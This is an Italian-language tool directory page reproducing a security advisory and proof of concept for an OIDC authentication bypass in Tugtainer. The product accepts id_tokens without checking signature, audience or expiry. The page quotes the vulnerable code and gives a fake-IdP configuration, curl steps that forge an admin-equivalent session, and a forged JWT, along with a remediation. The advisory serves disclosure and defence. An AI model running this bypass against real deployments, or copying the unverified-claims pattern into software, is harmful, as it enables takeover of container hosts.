Skip to content
KitploitKITPLOIT
StrumentiBlog
Invia
StrumentiBlog
Invia

Strumenti di Hacking, PenTest e Cybersecurity per il tuo Arsenale di Sicurezza!

Kitploit è una directory di strumenti di hacking, cybersecurity e pentesting. Scopri gli ultimi aggiornamenti dei progetti per trovare vulnerabilità, analizzare sistemi, automatizzare i test e rafforzare la tua sicurezza.

··Feed·Contatto·Privacy·© 2026 Kitploit

Directory degli strumenti

Categorie

Vedi tutte le categorie
Loading categories
tugtainer-PoC — PoC — id_token OIDC accettato senza verifica di firma/audience/scadenza in Tugtainer (GHSA-crjc-6vc7-xrfh, CVE-2026-87004, CVSS 8.1). | Kitploit
Strumenti/GitHubGitHub/squeeze440/tugtainer-poc
Analisi delle VulnerabilitàExploitSicurezza WebPenetration TestingGestione Identità e Accessi (IAM)Autenticazione
GitHubsqueeze440/tugtainer-poc

tugtainer-PoC

PoC — id_token OIDC accettato senza verifica di firma/audience/scadenza in Tugtainer (GHSA-crjc-6vc7-xrfh, CVE-2026-87004, CVSS 8.1).

Vedi Repository
7 giorni faNon ancora revisionato

Più Popolari

Vedi tutti →

Scopri gli strumenti più utilizzati dalla nostra community.

Esplora tutti gli strumenti

Sfoglia la nostra collezione di strumenti

Vedi tutti gli strumenti →
Condividi

Riepilogo

Stato CVE: richiesto, in attesa di assegnazione. Questa segnalazione è pubblicata come GHSA-crjc-6vc7-xrfh. All'assegnazione della CVE questo repository viene rinominato CVE-YYYY-NNNNN-tugtainer-PoC e questo banner viene sostituito con il link alla CVE.

RicercatoreDostxodjayev Abdullox (@squeeze440)
AdvisoryGHSA-crjc-6vc7-xrfh
CVSS 3.18.1 (Alto)
DebolezzaCWE-347

Riepilogo

La verifica impropria della firma crittografica nel provider di autenticazione OIDC in backend/modules/auth/providers/auth_oidc_provider.py in Quenary/tugtainer (commit 3138226) consente a un attaccante in grado di controllare o intercettare la risposta di token-exchange tra il backend di tugtainer e il provider OIDC configurato (ad esempio una posizione MITM sulla rete, un identity provider compromesso/malevolo, o una compromissione DNS/TLS-termination su quel percorso) di forgiare un id_token arbitrario e ottenere una sessione tugtainer completamente autenticata, equivalente a quella di un amministratore, per qualsiasi identità, tramite GET /api/auth/oidc/callback.

Prodotto

Quenary/tugtainer — strumento self-hosted per l'auto-aggiornamento di container Docker con interfaccia web, architettura agent/backend.

Versione testata

Commit 31382268bf16df32f33316fe4d601ad1635871d4 (branch predefinito del repository, clonato il 2026-08-05).

CVSS v3.1 stimato

8.1 (Alto) — CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H

  • AC:H (non AC:L): lo sfruttamento non è una semplice richiesta di rete non autenticata. Richiede che l'attaccante controlli ciò che il token endpoint restituisce al backend durante lo scambio di codice server-to-server — realisticamente una posizione MITM tra il backend di tugtainer e il vero IdP, oppure un IdP compromesso/malevolo di cui il backend è configurato per fidarsi. Si tratta di una precondizione reale e non banale, quindi viene usato AC:H anziché AC:L.
  • UI:N: una volta che l'attaccante ha quella posizione di rete, non è necessaria alcuna interazione della vittima — l'attaccante può gestire l'intero flusso di login da solo (confermato nel PoC di seguito, eseguito end-to-end con curl).
  • C:H/I:H/A:H: la sessione risultante è una sessione tugtainer completa e senza restrizioni (non esiste alcun RBAC/allowlist per le identità OIDC — vedi Dettagli) con accesso a ogni endpoint di gestione di container/host: elencare/leggere tutti gli host e i container Docker, avviare/fermare/terminare/rimuovere container, scaricare immagini e (se ALLOW_HOOKS/ALLOW_EXEC sono abilitati su un host) eseguire comandi all'interno dei container.
  • S:U: l'impatto rimane all'interno del confine di autorizzazione di tugtainer stesso (l'attaccante diventa un utente tugtainer autenticato); non è trattato come un cambio di scope verso un componente autorizzato separatamente.

Dettagli

backend/modules/auth/providers/auth_oidc_provider.py, metodo _exchange_oidc_code (righe 267–331), in particolare le righe 299–306:

root@kitploit:~
# Verify and decode ID token if present
if "id_token" in token:
    # For now, we'll decode without verification (not recommended for production)
    id_token_claims = jwt.get_unverified_claims(token["id_token"])
    return {
        "access_token": token.get("access_token"),
        "id_token_claims": id_token_claims,
    }

jwt.get_unverified_claims() (python-jose) decodifica in base64 il payload del JWT senza verificare la firma, exp/iat, o aud/iss — l'esatto contrario di ciò che OpenID Connect Core 1.0 §3.1.3.7 richiede a un RP di fare prima di fidarsi di un ID Token. Il commento dello stesso sviluppatore ("not recommended for production") conferma che si trattava di una scorciatoia nota, non di una scelta di progettazione intenzionale.

I claim risultanti fluiscono direttamente nella creazione della sessione senza ulteriori controlli:

  • callback() (riga 137) chiama _exchange_oidc_code() e poi _create_oidc_user_session() (riga 333), che estrae email/sub/preferred_username (righe 341–345) direttamente dai claim non verificati e genera veri cookie JWT access_token/refresh_token firmati di tugtainer (HttpOnly, SameSite=strict) tramite _set_cookies().
  • Non esiste alcuna allowlist di identità OIDC consentite in nessuna parte del codice (grep per pattern allowlist/allowed-email in backend/ non restituisce nulla) — qualunque sub/email sia presente nei claim (non verificati) diventa l'identità della nuova sessione, con lo stesso accesso di qualsiasi altro utente autenticato (tugtainer ha un unico livello di fiducia piatto, nessun RBAC per utente).
  • Poiché aud e iss non vengono mai controllati, un ID Token emesso per un client completamente estraneo dello stesso IdP — o, come dimostrato di seguito, uno con una firma spazzatura/non corrispondente e un exp già scaduto — viene accettato altrettanto prontamente quanto uno legittimo.

Questo è raggiungibile solo quando OIDC_ENABLED=true (opt-in dell'amministratore), quindi non influisce sulla distribuzione predefinita/solo-password.

Proof of Concept

Verificato dinamicamente contro l'applicazione reale compilata da questo commit (docker build -f Dockerfile.app), eseguita tramite semplice docker run (non l'immagine pubblicata) con:

root@kitploit:~
OIDC_ENABLED=true
OIDC_WELL_KNOWN_URL=http://<attacker-controlled-idp>:9999/.well-known/openid-configuration
OIDC_CLIENT_ID=tugtainer-test-client
OIDC_CLIENT_SECRET=whatever-not-checked-by-fake-idp
OIDC_REDIRECT_URI=http://localhost:19412/api/auth/oidc/callback

Un provider OIDC falso minimale (evidence/fake_idp.py, conservato in questa cartella di engagement) serve un documento di discovery valido e su POST /token restituisce sempre un id_token deliberatamente invalido in ogni modo in cui un RP dovrebbe controllarlo:

  • firma = byte segnaposto letterali, non una vera firma HMAC/RSA
  • aud = "totally-wrong-client-id-not-tugtainers" (non corrisponde a OIDC_CLIENT_ID)
  • exp = 1 ora nel passato (già scaduto)

Passaggi (comandi reali, output reale, entrambi i container eseguiti localmente):

root@kitploit:~
$ curl -s -i -c cookies.txt "http://localhost:19412/api/auth/oidc/login"
HTTP/1.1 302 Found
location: http://tugtainer-audit-idp:9999/authorize?client_id=tugtainer-test-client&...&state=NOPiwYzObzUwUkh119mw7YbzqmWEyZmzjEKmjaATpJQ
set-cookie: oidc_state=NOPiwYzObzUwUkh119mw7YbzqmWEyZmzjEKmjaATpJQ; HttpOnly; Max-Age=300; Path=/; SameSite=lax

$ curl -s -i -b cookies.txt -c cookies.txt \
  "http://localhost:19412/api/auth/oidc/callback?code=totally-arbitrary-unused-code&state=NOPiwYzObzUwUkh119mw7YbzqmWEyZmzjEKmjaATpJQ"
HTTP/1.1 302 Found
location: /containers
set-cookie: access_token=eyJhbGciOiJIUzI1NiIs...; HttpOnly; Max-Age=300; Path=/; SameSite=strict
set-cookie: refresh_token=eyJhbGciOiJIUzI1NiIs...; HttpOnly; Max-Age=2592000; Path=/; SameSite=strict

Payload di access_token decodificato (così come generato dal firmatario JWT di tugtainer stesso per questo "utente"):

root@kitploit:~
{"type":"access","auth_provider":"oidc","user_id":"[email protected]",
 "user_info":{"iss":"http://tugtainer-audit-idp:9999","sub":"[email protected]",
 "email":"[email protected]","aud":"totally-wrong-client-id-not-tugtainers",
 "exp":1785918530,"iat":1785914930},"exp":1785922430}

Sessione poi confermata dal vivo contro endpoint protetti:

root@kitploit:~
$ curl -s -i -b cookies.txt "http://localhost:19412/api/auth/is_authorized"
HTTP/1.1 200 OK

$ curl -s -b cookies.txt "http://localhost:19412/api/hosts/list"
[{"name":"local","enabled":true,...,"url":"http://127.0.0.1:8001","secret":null,...,"id":1,"available_updates_count":0}]

$ curl -s -i "http://localhost:19412/api/hosts/list"   # no cookies, for comparison
HTTP/1.1 401 Unauthorized

Il log del falso IdP conferma l'esatto token forgiato che ha restituito:

root@kitploit:~
[fake-idp] issuing FORGED id_token (bad sig, wrong aud, expired):
eyJhbGciOiAiSFMyNTYiLCAidHlwIjogIkpXVCJ9.eyJpc3MiOiAiaHR0cDovL3R1Z3RhaW5lci1hdWRpdC1pZHA6OTk5OSIsICJzdWIiOiAiYXR0YWNrZXJAZXZpbC5leGFtcGxlIiwgImVtYWlsIjogImF0dGFja2VyQGV2aWwuZXhhbXBsZSIsICJhdWQiOiAidG90YWxseS13cm9uZy1jbGllbnQtaWQtbm90LXR1Z3RhaW5lcnMiLCAiZXhwIjogMTc4NTkxODUzMCwgImlhdCI6IDE3ODU5MTQ5MzB9.VEhJU19JU19OT1RfQV9WQUxJRF9TSUdOQVRVUkVfSlVTVF9SQU5ET01fQllURVNfMDAwMDAw

Helper PoC: evidence/fake_idp.py (conservato insieme a questo report).

Non sono incluse schermate — si tratta di un bypass API server-to-server senza componente browser/UI da catturare; il transcript curl sopra è la vera evidenza comando/risposta non modificata.

Impatto

Qualsiasi attaccante in grado di influenzare la risposta della chiamata di token-exchange OIDC effettuata dal backend di tugtainer (MITM su quel percorso di rete, un IdP malevolo/compromesso, o una compromissione DNS/TLS-termination tra backend e IdP) può generare una sessione tugtainer completamente valida e senza restrizioni come identità arbitraria — senza bisogno di conoscere le credenziali di alcun utente reale e senza interazione da parte di un utente legittimo. Poiché tugtainer non ha RBAC per utente, quella sessione ha pieno accesso all'applicazione: enumerare tutti gli host e i container Docker registrati, avviare/fermare/terminare/rimuovere container, scaricare/etichettare immagini e (dove ALLOW_HOOKS/ALLOW_EXEC dell'agent sono abilitati) eseguire comandi all'interno dei container.

Debolezze

  • CWE-347: Improper Verification of Cryptographic Signature
  • CWE-345: Insufficient Verification of Data Authenticity (controlli aud/iss/exp mancanti)
  • CWE-287: Improper Authentication

Remediation

In _exchange_oidc_code, sostituire jwt.get_unverified_claims(token["id_token"]) con una decodifica che verifica: recuperare il jwks_uri dell'IdP dal documento di discovery, risolvere la chiave di firma tramite kid, e chiamare jwt.decode(id_token, key=jwk, algorithms=[...], audience=Config.OIDC_CLIENT_ID, issuer=discovery_doc["issuer"]) (python-jose supporta tutto questo). Questo impone la verifica di firma, exp/iat/nbf, aud e iss secondo la specifica OIDC Core. Si consideri anche l'aggiunta di una allowlist opzionale di valori email/sub accettati per le distribuzioni che condividono un IdP con altre applicazioni.

Crediti

Dostxodjayev Abdullox (GitHub: squeeze440)

Canale di segnalazione

GitHub Security Advisory / Private Vulnerability Reporting su Quenary/tugtainer (PVR confermato abilitato).

Scarica lo strumento